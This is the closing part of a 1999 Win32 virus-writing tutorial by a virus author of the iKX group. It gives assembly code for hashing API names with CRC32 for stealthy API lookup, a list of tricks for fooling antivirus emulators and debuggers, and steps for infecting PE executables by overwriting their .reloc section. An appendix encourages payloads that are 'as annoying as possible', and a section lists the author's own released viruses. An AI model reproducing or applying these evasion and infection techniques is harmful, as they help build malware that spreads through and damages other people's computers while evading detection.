OpenFile	068D8FC46h		

Do you want any other API?

Well, it's possible that you will need to know some CRC32 of another API names, so here i will put the little, shitty, but effective program that i made for help myself, and i hope it will help you too.

```
;——[ CUT HERE ]——————————————————————————————————————————————————————————————

      .586
      .model  flat
      .data

extrn         ExitProcess:PROC
extrn         MessageBoxA:PROC
extrn         GetCommandLineA:PROC

titulo        db "GetCRC32 by Billy Belcebu/iKX",0

message       db "SetEndOfFile"            ; Put here the string you
                                          ; want to know its CRC32
_             db 0
              db "CRC32 is "
crc32_        db "00000000",0

      .code

test:
      mov    edi,_-message
      lea    esi,message                  ; Load pointer to API name
      call   CRC32                        ; Get its CRC32

      lea    edi,crc32_                   ; Transform hex to text
      call   HexWrite32
      mov    _," "                      ; make 0 to be an space

      push   00000000h                   ; Display message box with
      push   offset titulo                ; the API name and its CRC32
      push   offset message
      push   00000000h
      call   MessageBoxA

      push   00000000h
      call   ExitProcess

HexWrite8     proc                       ; This code has been taken
      mov    ah,al                      ; from the 1st generation
      and    al,0Fh                     ; host of Bizatch
      shr    ah,4
      or     ax,3030h
      xchg   al,ah
      cmp    ah,39h
      ja     @@4
@@1:
      cmp    al,39h
      ja     @@3
@@2:
      stosw
      ret
@@3:
      sub    al,30h
      add    al,'A' - 10
      jmp    @@2
@@4:
      sub    ah,30h
      add    ah,'A' - 10
      jmp    @@1
HexWrite8     endp

HexWrite16    proc
      push   ax
      xchg   al,ah
      call   HexWrite8
      pop    ax
      call   HexWrite8
      ret
HexWrite16    endp
```

```
HexWrite32    proc
      push   eax
      shr    eax, 16
      call   HexWrite16
      pop    eax
      call   HexWrite16
      ret
HexWrite32    endp

CRC32        proc
      cld
      xor    ecx,ecx                            ; Optimized by me - 2 bytes
      dec    ecx                               ; less
      mov    edx,ecx
NextByteCRC:
      xor    eax,eax
      xor    ebx,ebx
      lodsb
      xor    al,cl
      mov    cl,ch
      mov    ch,dl
      mov    dl,dh
      mov    dh,8
NextBitCRC:
      shr    bx,1
      rcr    ax,1
      jnc    NoCRC
      xor    ax,08320h
      xor    bx,0EDB8h
NoCRC: dec    dh
      jnz    NextBitCRC
      xor    ecx,eax
      xor    edx,ebx
      dec    edi                               ; 1 byte less
      jnz    NextByteCRC
      not    edx
      not    ecx
      mov    eax,edx
      rol    eax,16
      mov    ax,cx
      ret
CRC32        endp
```

```
end     test
;───[ CUT HERE ]─────────────────────────────────────────────────────────────
```

Cool, huh? :)

% AntiEmulators %

As in many places among this document, this little chapter is a cooperation project between Super and me. Here will come a little list of some things that surely will fool the AV emulation systems, as well as some little debuggers. Enjoy!

- Generate faults with SEH. Example:

```
      pseh    <jmp virus_code>
      dec     byte ptr [edx] ; <-- or another exception, such as 'div edx'
      [...] <-- if we are here, we are being emulated!
virus_code:
      rseh
      [...] <-- the virus code :)
```

- Use CS segment prefix. Example:

```
      jmp     cs:[shit]
      call    cs:[shit]
```

- Use RETF. Example:

```
      push    cs
      call    shit
      retf
```

- Play with DS. Example:

```
      push    ds
      pop     eax
```

   or even better:

```
      push    ds
      pop     ax
```

   or much better:

```
      mov    eax,ds
      push   eax
      pop    ds
```

- Detect NODiCE emulator with the PUSH CS/POP REG trick:

```
      mov    ebx,esp
      push   cs
      pop    eax
      cmp    esp,ebx
      jne    nod_ice_detected
```

- Use undocumented opcodes:

```
      salc   ; db 0D6h
      bpice  ; db 0F1h
```

- Use Threads and/or Fibers.

I hope all those things will be useful for you :)

% Overwriting .reloc section %

This is a very interesting matter. The '.reloc' section is useful only if the ImageBase of the PE file changes for any reason, but as it never (99.9%) occurs, it's unnecessary. And the '.reloc' section is often huge, so why don't use it for store there our virus? I suggest you to read b0z0's tute on Xine#3 called "Ideas and theoryes on PE infection", as it offers us many interesting information. Well, if you are wondering what to do for overwrite the reloc section, just do the following:

```
      + In section header:
            1. Put as new VirtualSize the size of the virus + its heap
            2. Put as new SizeOfRawData the aligned VirtualSize
            3. Clear PointerToRelocations and NumberOfRelocations
            4. Change .reloc name to another one
      + In PE header:
            1. Clear offset A0h (RVA to fixup table)
            2. Clear offset A4h (Size of such table)
```

The entrypoint of the virus will be section's VirtualAddress. It's also, sometimes, stealthy, as the size sometimes don't grow (in not so big viruses), because the relocs are ussually very big.

Appendix 1: Payloads

As we are working with a graphical OS, our payloads can be much more impressive. Of course, i wouldn' t like to see more payloads like the one shown in CIH and Kriz. Just take a look to Marburg, HPS, Sexy2, Hatred, PoshKiller Harrier, and many other viruses. They really rock. Of course, also take a look to the viruses with multiple payloads, such as Girigat and Thorin.

Just think, that the user won't notice the presence of the virus until you show him/her your payload. So, the image you'll give is the image of all your work. If your payload is shitty, your virus will seem shitty :)

There are a lot of things to do: you can change the wallpaper, you can change strings from your system (as my Legacy), you can show him web pages, you can do neat stuff to the screen in Ring-0 (as Sexy2 and PoshKiller), etc. Just research a bit on the Win32 APIs. Try to make payloads as annoying as possible :)

Appendix 2: About the author

Hey :) I dedicated this section to myself. Call me selfish, arrogant or hipocrite. I know i am not anything of those things :) Just i'm going to let you know a bit of the guy that has tried to teach you in this tute. I'm (still) a 16 year old spanish guy. And i have my own viewpoint of the world, i have my own political ideas, i believe in the ideals, and i think that we can do something to save our sick society of our days. I don't like to live in a place where the money is over the life (any lifeform, ie, humans, animals, vegetables...), where the democracy is misunderstood by the people in the government (it's not only the problem of Spain, this is also present in the great majority of countries, as the USA, UK, France, etc). The democracy (i think that the communism would be better, but if there isn't anything better rather than democracy...) must let all the inhabitants of the country to choose about their future. Blargh, i'm tired of write about all this in almost all the things i release. It's like to talk to a wall :)

Ok, ok, i'll talk a little bit of my work.I'm the coder of the following viruses (until now):

```
+ While in DDT,
      - Antichrist Superstar            [ Never released to the public ]
      - Win9x.Garaipena                          [ AVP: Win95.Gara ]
      - Win9x.Iced Earth                     [ AVP: Win95.Iced.1617 ]

+ While in iKX,
      - Win32.Aztec v1.00, v1.01              [ AVP: Win95.Iced.1412 ]
      - Win32.Paradise v1.00                 [ AVP: Win95.Iced.2112 ]
      - Win9x.PoshKiller v1.00
      - Win32.Thorin v1.00
      - Win32.Legacy v1.00
      - Win9x.Molly
      - Win32.Rhapsody
```

Also, from this variated engines:

```
      - LSCE v1.00                   [Little Shitty Compression Engine]
      - THME v1.00                        [The Hobbit Mutation Engine]
      - MMXE v1.00, v1.01                [MultiMedia eXtensions Engine]
      - PHIRE v1.00             [Polymorphic Header Idiot Random Engine]
      - iENC v1.00                               [Internal ENCryptor]
```

And i've written several tutorials, but i won't list them here :)

Nowadays i'm member of the iKX group. As you know, iKX stands for International Knowledge eXchange. In the past i've been the organizer of DDT. I declare myself antifascist, defender of human rights, antimilitarist, and very enemy from these suckers that abuse from the women and the little kids. I only have faith in myself, i don't believe in any religion, and in any fanatism.

Another important thing for me (besides friends) is the music. While writing this lines i'm, as always, hearing music :)

For more information about me and my releases, take a look to my web page.

```
┌──-----··  ··----──-----··  ··----──-----··  ··----──-----·· ··----───┐
│ Last words                                                           │
└──-----··  ··----──-----··  ··----──-----··  ··----──-----·· ··----───┘
```

Well, another tute is arriving to its end... It has been a little boring in some aspects (hey, i'm human, i prefer to code instead of write), but in my mind is always the hope that someone will have some ideas when reading the result of my work. As i said in the introduction, almost all the code i presented here is mine (not as my DOS VWGs). I hope it will help you.

I know i haven't covered some things, such as the infection method of adding a new section, or the "Call Gate" technique or "VMM inserting" for pass to Ring-0. I have tried to simplify this tutorial. Now you must judge if it was a right choice or not. Time will say.

This document is dedicated to the people that helped me since my first steps on Win32 coding: zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah, Benny, Jacky Qwerty (involuntary help, anyway...), Lord Julus (yes, i learnt also from his tutes!), StarZer0, and many others. Of course, other people that deserve a greet are Int13h, Owl, VirusBuster, Wintermute, Somniun, SeptiC, TechnoPhunk, SlageHammer, and of course, you,my beloved reader. This was written for you!

- Mejor morir de pie que vivir arrodillado -   (Ernesto "Che" Guevara)

Valencia, 6 of September, 1999.